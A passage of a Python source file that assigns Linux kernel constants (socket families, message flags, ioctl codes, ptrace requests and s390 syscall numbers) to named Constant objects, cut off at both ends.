Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FILE = Constant('MAP_FILE',0) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) SYS_accept4 = Constant('SYS_accept4',364) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',278) SYS_adjtimex = Constant('SYS_adjtimex',124) SYS_afs_syscall = Constant('SYS_afs_syscall',137) SYS_alarm = Constant('SYS_alarm',27) SYS_bdflush = Constant('SYS_bdflush',134) SYS_bind = Constant('SYS_bind',361) SYS_bpf = Constant('SYS_bpf',351) SYS_brk = Constant('SYS_brk',45) SYS_capget = Constant('SYS_capget',184) SYS_capset = Constant('SYS_capset',185) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',212) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',337) SYS_clock_getres = Constant('SYS_clock_getres',(254+7)) SYS_clock_gettime = Constant('SYS_clock_gettime',(254+6)) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(254+8)) SYS_clock_settime = Constant('SYS_clock_settime',(254+5)) SYS_clone = Constant('SYS_clone',120) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',362) SYS_copy_file_range = Constant('SYS_copy_file_range',375) SYS_creat = Constant('SYS_creat',8) SYS_create_module = Constant('SYS_create_module',127) SYS_delete_module = Constant('SYS_delete_module',129) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',63) SYS_dup3 = Constant('SYS_dup3',326) SYS_epoll_create = Constant('SYS_epoll_create',249) SYS_epoll_create1 = Constant('SYS_epoll_create1',327) SYS_epoll_ctl = Constant('SYS_epoll_ctl',250) SYS_epoll_pwait = Constant('SYS_epoll_pwait',312) SYS_epoll_wait = Constant('SYS_epoll_wait',251) SYS_eventfd = Constant('SYS_eventfd',318) SYS_eventfd2 = Constant('SYS_eventfd2',323) SYS_execve = Constant('SYS_execve',11) SYS_execveat = Constant('SYS_execveat',354) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',248) SYS_faccessat = Constant('SYS_faccessat',300) SYS_fadvise64 = Constant('SYS_fadvise64',253) SYS_fallocate = Constant('SYS_fallocate',314) SYS_fanotify_init = Constant('SYS_fanotify_init',332) SYS_fanotify_mark = Constant('SYS_fanotify_mark',333) SYS_fchdir = Constant('SYS_fchdir',133) SYS_fchmod = Constant('SYS_fchmod',94) SYS_fchmodat = Constant('SYS_fchmodat',299) SYS_fchown = Constant('SYS_fchown',207) SYS_fchownat = Constant('SYS_fchownat',291) SYS_fcntl = Constant('SYS_fcntl',55) SYS_fdatasync = Constant('SYS_fdatasync',148) SYS_fgetxattr = Constant('SYS_fgetxattr',229) SYS_finit_module = Constant('SYS_finit_module',344) SYS_flistxattr = Constant('SYS_flistxattr',232) SYS_flock = Constant('SYS_flock',143) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',235) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',226) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',108) SYS_fstatfs = Constant('SYS_fstatfs',100) SYS_fstatfs64 = Constant('SYS_fstatfs64',266) SYS_fsync = Constant('SYS_fsync',118) SYS_ftruncate = Constant('SYS_ftruncate',93) SYS_futex = Constant('SYS_futex',238) SYS_futimesat = Constant('SYS_futimesat',292) SYS_getcpu = Constant('SYS_getcpu',311) SYS_getcwd = Constant('SYS_getcwd',183) SYS_getdents = Constant('SYS_getdents',141) SYS_getdents64 = Constant('SYS_getdents64',220) SYS_getegid = Constant('SYS_getegid',202) SYS_geteuid = Constant('SYS_geteuid',201) SYS_getgid = Constant('SYS_getgid',200) SYS_getgroups = Constant('SYS_getgroups',205) SYS_getitimer = Constant('SYS_getitimer',105) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130) SYS_get_mempolicy = Constant('SYS_get_mempolicy',269) SYS_getpeername = Constant('SYS_getpeername',368) SYS_getpgid = Constant('SYS_getpgid',132) SYS_getpgrp = Constant('SYS_getpgrp',65) SYS_getpid = Constant('SYS_getpid',20) SYS_getpmsg = Constant('SYS_getpmsg',188) SYS_getppid = Constant('SYS_getppid',64) SYS_getpriority = Constant('SYS_getpriority',96) SYS_getrandom = Constant('SYS_getrandom',349) SYS_getresgid = Constant('SYS_getresgid',211) SYS_getresuid = Constant('SYS_getresuid',209) SYS_getrlimit = Constant('SYS_getrlimit',191) SYS_get_robust_list = Constant('SYS_get_robust_list',305) SYS_getrusage = Constant('SYS_getrusage',77) SYS_getsid = Constant('SYS_getsid',147) SYS_getsockname = Constant('SYS_getsockname',367) SYS_getsockopt = Constant('SYS_getsockopt',365) SYS_gettid = Constant('SYS_gettid',236) SYS_gettimeofday = Constant('SYS_gettimeofday',78) SYS_getuid = Constant('SYS_getuid',199) SYS_getxattr = Constant('SYS_getxattr',227) SYS_idle = Constant('SYS_idle',112) SYS_init_module = Constant('SYS_init_module',128) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',285) SYS_inotify_init = Constant('SYS_inotify_init',284) SYS_inotify_init1 = Constant('SYS_inotify_init1',324) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',286) SYS_io_cancel = Constant('SYS_io_cancel',247) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',244) SYS_io_getevents = Constant('SYS_io_getevents',245) SYS_io_pgetevents = Constant('SYS_io_pgetevents',382) SYS_ioprio_get = Constant('SYS_ioprio_get',283) SYS_ioprio_set = Constant('SYS_ioprio_set',282) SYS_io_setup = Constant('SYS_io_setup',243) SYS_io_submit = Constant('SYS_io_submit',246) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_ipc = Constant('SYS_ipc',117) SYS_kcmp = Constant('SYS_kcmp',343) SYS_kexec_file_load = Constant('SYS_kexec_file_load',381) SYS_kexec_load = Constant('SYS_kexec_load',277) SYS_keyctl = Constant('SYS_keyctl',280) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',198) SYS_lgetxattr = Constant('SYS_lgetxattr',228) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',296) SYS_listen = Constant('SYS_listen',363) SYS_listxattr = Constant('SYS_listxattr',230) SYS_llistxattr = Constant('SYS_llistxattr',231) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',110) SYS_lremovexattr = Constant('SYS_lremovexattr',234) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',225) SYS_lstat = Constant('SYS_lstat',107) SYS_madvise = Constant('SYS_madvise',219) SYS_mbind = Constant('SYS_mbind',268) SYS_membarrier = Constant('SYS_membarrier',356) SYS_memfd_create = Constant('SYS_memfd_create',350) SYS_migrate_pages = Constant('SYS_migrate_pages',287) SYS_mincore = Constant('SYS_mincore',218) SYS_mkdir = Constant('SYS_mkdir',39) SYS_mkdirat = Constant('SYS_mkdirat',289) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',290) SYS_mlock = Constant('SYS_mlock',150) SYS_mlock2 = Constant('SYS_mlock2',374) SYS_mlockall = Constant('SYS_mlockall',152) SYS_mmap = Constant('SYS_mmap',90) SYS_mount = Constant('SYS_mount',21) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',310) SYS_mprotect = Constant('SYS_mprotect',125) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',276) SYS_mq_notify = Constant('SYS_mq_notify',275) SYS_mq_open = Constant('SYS_mq_open',271) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',274) SYS_mq_timedsend = Constant('SYS_mq_timedsend',273) SYS_mq_unlink = Constant('SYS_mq_unlink',272) SYS_mremap = Constant('SYS_mremap',163) SYS_msgctl = Constant('SYS_msgctl',402) SYS_msgget = Constant('SYS_msgget',399) SYS_msgrcv = Constant('SYS_msgrcv',401) SYS_msgsnd = Constant('SYS_msgsnd',400) SYS_msync = Constant('SYS_msync',144) SYS_munlock = Constant('SYS_munlock',151) SYS_munlockall = Constant('SYS_munlockall',153) SYS_munmap = Constant('SYS_munmap',91) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',335) SYS_nanosleep = Constant('SYS_nanosleep',162) SYS_newfstatat = Constant('SYS_newfstatat',293) SYS_nfsservctl = Constant('SYS_nfsservctl',169) SYS_nice = Constant('SYS_nice',34) SYS_open = Constant('SYS_open',5) SYS_openat = Constant('SYS_openat',288) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',336) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',29) SYS_perf_event_open = Constant('SYS_perf_event_open',331) SYS_personality = Constant('SYS_personality',136) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',325) SYS_pivot_root = Constant('SYS_pivot_root',217) SYS_pkey_alloc = Constant('SYS_pkey_alloc',385) SYS_pkey_free = Constant('SYS_pkey_free',386) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',384) SYS_poll = Constant('SYS_poll',168) SYS_ppoll = Constant('SYS_ppoll',302) SYS_prctl = Constant('SYS_prctl',172) SYS_pread64 = Constant('SYS_pread64',180) SYS_preadv = Constant('SYS_preadv',328) SYS_preadv2 = Constant('SYS_preadv2',376) SYS_prlimit64 = Constant('SYS_prlimit64',334) SYS_process_vm_readv = Constant('SYS_process_vm_readv',340) SYS_process_vm_writev = Constant('SYS_process_vm_writev',341) SYS_pselect6 = Constant('SYS_pselect6',301) SYS_ptrace = Constant('SYS_ptrace',26) SYS_putpmsg = Constant('SYS_putpmsg',189) SYS_pwrite64 = Constant('SYS_pwrite64',181) SYS_pwritev = Constant('SYS_pwritev',329) SYS_pwritev2 = Constant('SYS_pwritev2',377) SYS_query_module = Constant('SYS_query_module',167) SYS_quotactl = Constant('SYS_quotactl',131) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',222) SYS_readdir = Constant('SYS_readdir',89) SYS_readlink = Constant('SYS_readlink',85) SYS_readlinkat = Constant('SYS_readlinkat',298) SYS_readv = Constant('SYS_readv',145) SYS_reboot = Constant('SYS_reboot',88) SYS_recvfrom = Constant('SYS_recvfrom',371) SYS_recvmmsg = Constant('SYS_recvmmsg',357) SYS_recvmsg = Constant('SYS_recvmsg',372) SYS_remap_file_pages = Constant('SYS_remap_file_pages',267) SYS_removexattr = Constant('SYS_removexattr',233) SYS_rename = Constant('SYS_rename',38) SYS_renameat = Constant('SYS_renameat',295) SYS_renameat2 = Constant('SYS_renameat2',347) SYS_request_key = Constant('SYS_request_key',279) SYS_restart_syscall = Constant('SYS_restart_syscall',7) SYS_rmdir = Constant('SYS_rmdir',40) SYS_rseq = Constant('SYS_rseq',383) SYS_rt_sigaction = Constant('SYS_rt_sigaction',174) SYS_rt_sigpending = Constant('SYS_rt_sigpending',176) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',175) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',178) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',173) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',179) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',177) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',330) SYS_s390_guarded_storage = Constant('SYS_s390_guarded_storage',378) SYS_s390_pci_mmio_read = Constant('SYS_s390_pci_mmio_read',353) SYS_s390_pci_mmio_write = Constant('SYS_s390_pci_mmio_write',352) SYS_s390_runtime_instr = Constant('SYS_s390_runtime_instr',342) SYS_s390_sthyi = Constant('SYS_s390_sthyi',380) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',240) SYS_sched_getattr = Constant('SYS_sched_getattr',346) SYS_sched_getparam = Constant('SYS_sched_getparam',155) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',239) SYS_sched_setattr = Constant('SYS_sched_setattr',345) SYS_sched_setparam = Constant('SYS_sched_setparam',154) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156) SYS_sched_yield = Constant('SYS_sched_yield',158) SYS_seccomp = Constant('SYS_seccomp',348) SYS_select = Constant('SYS_select',142) SYS_semctl = Constant('SYS_semctl',394) SYS_semget = Constant('SYS_semget',393) SYS_semtimedop = Constant('SYS_semtimedop',392) SYS_sendfile = 